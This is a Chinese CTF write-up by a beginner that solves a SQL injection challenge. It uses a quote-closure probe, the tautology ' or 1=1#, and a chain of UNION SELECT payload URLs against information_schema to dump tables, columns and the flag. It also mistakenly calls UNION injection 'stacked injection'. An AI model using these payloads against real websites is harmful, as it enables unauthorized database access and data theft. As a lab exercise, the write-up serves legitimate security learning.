hello~大家好!我是’今天不吃糖, 一只纯纯的小白,正在学习CTF,写文章目的是为了多积累一下解题思路
1.通过判断id=1,2,3,4发现,只有当id=4时没有回显,初次判定字段数为3.
2.判断闭合方式
(1)在id=1后加一个单引号
发现没有回显,证明不是使用单引号闭合的
(2)在单引号后添加#
发现也没有回显,大佬说,这是编码的问题,将’#进行URL编码
果然,正常回显了,达到闭合效果。
3.判断是否过滤了and和or
(1)输入万能钥匙
’ or 1=1#
证明or没被过滤
and也没有被过滤
验证了字段只有三列
4.找回显点
http://db3aa7d8-34be-4baf-938d-cf64b0b57dd8.node4.buuoj.cn:81/index.php?id=-1%27%20union%20select%201,2,3%23
显位点,使用堆叠注入(union)
爆库!
http://db3aa7d8-34be-4baf-938d-cf64b0b57dd8.node4.buuoj.cn:81/index.php?id=-1%27%20union%20select%201,database(),3%23爆表!
http://db3aa7d8-34be-4baf-938d-cf64b0b57dd8.node4.buuoj.cn:81/index.php?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27note%27%23
爆字段名
http://db3aa7d8-34be-4baf-938d-cf64b0b57dd8.node4.buuoj.cn:81/index.php?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27fl4g%27%23
获取到字段名,接下来就是爆数据
http://db3aa7d8-34be-4baf-938d-cf64b0b57dd8.node4.buuoj.cn:81/index.php?id=-1%27%20union%20select%201,2,fllllag%20from%20fl4g%23
最后~
n1book{union_select_is_so_cool}
nice~开心q(≧▽≦q)
好啦,最后,我们在总结一下此题思路:1.确定闭合方式2.判断是否过滤了关键字3.确定字段名有几列4.找回显点5.开始爆库,爆表,最后获取表中数据。
具体的解题过程,请查看
https://blog.csdn.net/m_de_g/article/details/117675569